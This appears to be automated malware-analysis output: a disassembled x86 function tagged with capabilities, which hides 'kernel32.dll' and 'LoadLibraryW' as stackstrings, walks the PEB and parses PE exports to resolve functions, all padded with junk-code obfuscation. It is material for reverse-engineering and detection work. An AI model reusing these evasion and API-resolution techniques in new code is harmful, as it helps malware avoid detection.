Function at 0x66f94902
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ebx
push ebx
push esi
add esp, 4
sub ebx, 0x130f8
add ebx, 0x6d4a
pop ebx
cmp dword [ebp - 0xcc8], 0
jne 0x66f94707
mov dword [ebp - 0x2f4], 0
jmp 0x66f94952
mov ecx, dword [ebp - 0xcc8]
mov dword [ebp - 0x518], ecx
push edx
xor edx, 0x11e6c
sub edx, 0xde02
xor edx, 0x115b7
and edx, 0xe043
pop edx
push edx
push edx
add esp, 4
jmp 0x66f94738
sub edx, 0x106cf
add edx, 0x43f7
pop edx
lea edx, [ebp - 0x1740]
mov dword [ebp - 0xcc4], edx
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcc0], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
sub ecx, 0x175da
jmp 0x66f9477f
jmp 0x66f94786
pop ecx
push eax
push ecx
add esp, 4
xor eax, 0x2141
pop eax
push edi
jmp 0x66f9479a
sub edi, 0x10e19
pop edi
mov ecx, dword [ebp - 0xcc0]
mov dx, word [ecx]
mov word [ebp - 0x1042], dx
mov eax, dword [ebp - 0xcc0]
add eax, 2
mov dword [ebp - 0xcc0], eax
mov cx, word [ebp - 0x1042]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc4]
mov ax, word [edx]
mov word [ebp - 0x1044], ax
mov ecx, dword [ebp - 0xcc4]
add ecx, 2
mov dword [ebp - 0xcc4], ecx
mov dx, word [ebp - 0x1044]
mov word [ebp - 0x38], dx
push edi
push ecx
add esp, 4
and edi, 0xe2ba
pop edi
push ebx
push edx
add esp, 4
and ebx, 0x14799
add ebx, 0xa634
and ebx, 0x964e
pop ebx
push ebx
sub ebx, 0x9219
sub ebx, 0x1599b
pop ebx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x66f94847
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1624], ecx
jmp 0x66f948a1
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x66f9476f
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x66f9476f
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x66f9488b
mov dword [ebp - 0x1620], 0xffffffff
jmp 0x66f94895
mov dword [ebp - 0x1620], 1
mov eax, dword [ebp - 0x1620]
mov dword [ebp - 0x1624], eax
cmp dword [ebp - 0x1624], 0
jne 0x66f948ea
push eax
sub eax, 0x140bb
sub eax, 0xc3f7
pop eax
push eax
push edi
add esp, 4
xor eax, 0x2509
and eax, 0xfd72
pop eax
push esi
push edx
add esp, 4
sub esi, 0x7382
xor esi, 0x7fe6
pop esi
mov ecx, dword [ebp - 0x518]
mov dword [ebp - 0x2f4], ecx
jmp 0x66f94952
push esi
push eax
add esp, 4
jmp 0x66f948f5
call 0x66f94902
add byte [ecx + 0x40], al
dec eax
inc edi
dec ebx
dec edx
add esp, 4
pop esi
push edx
add edx, 0xfde5
pop edx
push esi
sub esi, 0x17a88
sub esi, 0x77ca
pop esi
mov edx, dword [ebp - 0x518]
mov eax, dword [edx]
mov dword [ebp - 0x518], eax
mov ecx, dword [ebp - 0x518]
cmp ecx, dword [ebp - 0xcc8]
je 0x66f94948
mov edx, dword [ebp - 0x518]
cmp dword [edx + 0x30], 0
jne 0x66f94713
mov dword [ebp - 0x2f4], 0
push eax
and eax, 0x1a3
add eax, 0x589f
jmp 0x66f94967
pop eax
push esi
or esi, 0xb1e8
or esi, 0x328
jmp 0x66f9497e
jmp 0x66f94983
pop esi
cmp dword [ebp - 0x2f4], 0
jne 0x66f95289
mov eax, 0x6b
mov word [ebp - 0x17a0], ax
mov ecx, 0x65
mov word [ebp - 0x179e], cx
mov edx, 0x72
mov word [ebp - 0x179c], dx
mov eax, 0x6e
mov word [ebp - 0x179a], ax
mov ecx, 0x65
mov word [ebp - 0x1798], cx
mov edx, 0x6c
mov word [ebp - 0x1796], dx
mov eax, 0x33
mov word [ebp - 0x1794], ax
mov ecx, 0x32
mov word [ebp - 0x1792], cx
mov edx, 0x2e
mov word [ebp - 0x1790], dx
mov eax, 0x64
mov word [ebp - 0x178e], ax
mov ecx, 0x6c
mov word [ebp - 0x178c], cx
mov edx, 0x6c
mov word [ebp - 0x178a], dx
xor eax, eax
mov word [ebp - 0x1788], ax
push ebx
jmp 0x66f94a34
sub ebx, 0xfe9c
add ebx, 0x176cc
sub ebx, 0xd826
pop ebx
push edi
push esi
add esp, 4
jmp 0x66f94a55
or edi, 0x35fa
pop edi
mov byte [ebp - 0x8a8], 0x4c
mov byte [ebp - 0x8a7], 0x6f
mov byte [ebp - 0x8a6], 0x61
mov byte [ebp - 0x8a5], 0x64
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x69
mov byte [ebp - 0x8a2], 0x62
mov byte [ebp - 0x8a1], 0x72
mov byte [ebp - 0x8a0], 0x61
mov byte [ebp - 0x89f], 0x72
mov byte [ebp - 0x89e], 0x79
mov byte [ebp - 0x89d], 0x57
mov byte [ebp - 0x89c], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19a8], ecx
mov edx, dword [ebp - 0x19a8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19ac], eax
mov ecx, dword [ebp - 0x19ac]
mov dword [ebp - 0x1628], ecx
push edi
push edi
add esp, 4
sub edi, 0x7882
xor edi, 0xd451
sub edi, 0xdb05
pop edi
push edx
xor edx, 0x11547
or edx, 0x118e0
xor edx, 0x18ce
sub edx, 0x8152
pop edx
cmp dword [ebp - 0x1628], 0
jne 0x66f94b29
mov dword [ebp - 0x778], 0
jmp 0x66f94dd0
mov edx, dword [ebp - 0x1628]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd4], ecx
push ebx
xor ebx, 0x1172c
call 0x66f94b4f
add byte [edi + 0x4f], al
cmp al, 0x39
dec edx
xor cl, byte [esi - 0x7d]
les eax, [ebx + ebx*2]
push edx
and edx, 0x10c46
call 0x66f94b69
add byte [edx + esi + 0x37], al
dec ebp
dec esi
dec edi
dec edi
aaa
cmp eax, dword [ebx - 0x7ca5fb3c]
mov ebp, 0xfffff32c
add byte [ebp + 0xf], dh
mov dword [ebp - 0x778], 0
jmp 0x66f94dd0
push edi
or edi, 0x2ee1
add edi, 0x4cd
pop edi
push ebx
push ebx
add esp, 4
add ebx, 0x16921
or ebx, 0x14fc2
pop ebx
push edx
push ebx
add esp, 4
and edx, 0x5398
add edx, 0x50fe
pop edx
cmp dword [ebp - 0x778], 0
jne 0x66f94e4c
push edx
push esi
add esp, 4
or edx, 0x140a9
call 0x66f94e25
add byte [ecx], bh
inc esi
inc ebp
cmp esi, dword [edi]
aaa
inc esp
inc esi
xor eax, 0x5a04c483
push esi
push esi
add esp, 4
add esi, 0xd29
pop esi
push edx
and edx, 0x7e00
pop edx
mov dword [ebp - 0xac0], 0
jmp 0x66f95974
push esi
sub esi, 0x20a
pop esi
push eax
push eax
add esp, 4
and eax, 0xb05d
add eax, 0xd2a6
pop eax
push ebx
push esi
add esp, 4
sub ebx, 0x8b03
xor ebx, 0xbe76
sub ebx, 0xfb8d
pop ebx
mov ecx, dword [ebp - 0x778]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x1674], eax
cmp dword [ebp - 0x1674], 0
jne 0x66f94ebd
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], ecx
jmp 0x66f951ae
mov edx, dword [ebp - 0x1674]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1678], eax
jne 0x66f94ee5
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], ecx
jmp 0x66f951ae
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1678]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1680], edx
cmp dword [ebp - 0x1680], 0
jne 0x66f94f17
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], eax
jmp 0x66f951ae
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [ebp - 0x1680]
mov dword [ebp - 0x77c], ecx
jne 0x66f94f3c
mov edx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], edx
jmp 0x66f951ae
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19b0], ecx
mov edx, dword [ebp - 0x77c]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19b4], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19b8], edx
mov dword [ebp - 0x780], 0
jmp 0x66f94f96
mov eax, dword [ebp - 0x780]
add eax, 1
mov dword [ebp - 0x780], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x780]
cmp edx, dword [ecx + 0x18]
jae 0x66f951a2
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x19b0]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x784], edx
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x19b4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19b8]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19bc], ecx
mov dword [ebp - 0x19c], 0
jmp 0x66f95006
mov edx, dword [ebp - 0x19c]
add edx, 1
mov dword [ebp - 0x19c], edx
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x66f950b8
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x8a8]
test eax, eax
je 0x66f950b8
push esi
call 0x66f95041
add byte [eax + 0x3f], al
cmp al, 0x35
dec eax
inc edx
xor al, byte [ebx + 0x7e804c4]
add byte [eax], al
add byte [eax], al
inc edi
cmp dword [eax + edx*2], edi
dec esp
inc ecx
add esp, 4
call 0x66f95061
add byte [edi + 0x37], cl
aas
xor al, 0x3c
cmp dword [edx], esi
add esp, 4
pop esi
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x8a8]
cmp edx, ecx
je 0x66f950aa
mov edx, dword [ebp - 0x784]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x8a8]
cmp eax, edx
jne 0x66f950b1
jmp 0x66f94ff7
jmp 0x66f950b8
push esi
add esi, 0x70b3
or esi, 0x42f
and esi, 0xc3a3
pop esi
push eax
push ebx
add esp, 4
or eax, 0x937c
xor eax, 0x12b48
pop eax
push edx
push ebx
add esp, 4
add edx, 0xd031
pop edx
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x8a8]
cmp ecx, eax
jne 0x66f95117
mov dword [ebp - 0xcd8], 0
jmp 0x66f95186
push ecx
push ecx
add esp, 4
add ecx, 0x1039e
xor ecx, 0xa1b4
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0x68b7
add ecx, 0x16213
pop ecx
push ecx
and ecx, 0x1466d
sub ecx, 0x8d61
pop ecx
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x8a8]
or ecx, 0x20
cmp edx, ecx
jge 0x66f9517c
mov dword [ebp - 0xcd8], 0xffffffff
jmp 0x66f95186
mov dword [ebp - 0xcd8], 1
cmp dword [ebp - 0xcd8], 0
jne 0x66f9519d
mov edx, dword [ebp - 0x19bc]
mov dword [ebp - 0x3fc], edx
jmp 0x66f951ae
jmp 0x66f94f87
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0
je 0x66f95289
push eax
push ecx
add esp, 4
and eax, 0x68aa
jmp 0x66f951cd
call 0x66f951da
add byte [ecx], bh
cmp al, 0x36
xor bh, byte [0xc4833c4c]
add al, 0xe8
pop es
add byte [eax], al
add byte [eax], al
inc eax
inc ebx
dec edx
inc esi
dec esi
cmp dword [ebx - 0x74a7fb3c], eax
lea eax, [esp + edi*8]
invalid
push edx
call 0x66f95298
add byte [ecx + 0x41], al
push eax
cmp eax, 0x443a4937
add esp, 4
xor edx, 0x14b5a
jmp 0x66f952a8
and edx, 0xc270
pop edx
push edi
push ebx
add esp, 4
sub edi, 0x1615b
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19c8], ecx
mov edx, dword [ebp - 0x19c8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19cc], eax
mov ecx, dword [ebp - 0x19cc]
mov dword [ebp - 0x1684], ecx
push eax
push ebx
add esp, 4
sub eax, 0xf798
jmp 0x66f952f3
call 0x66f95302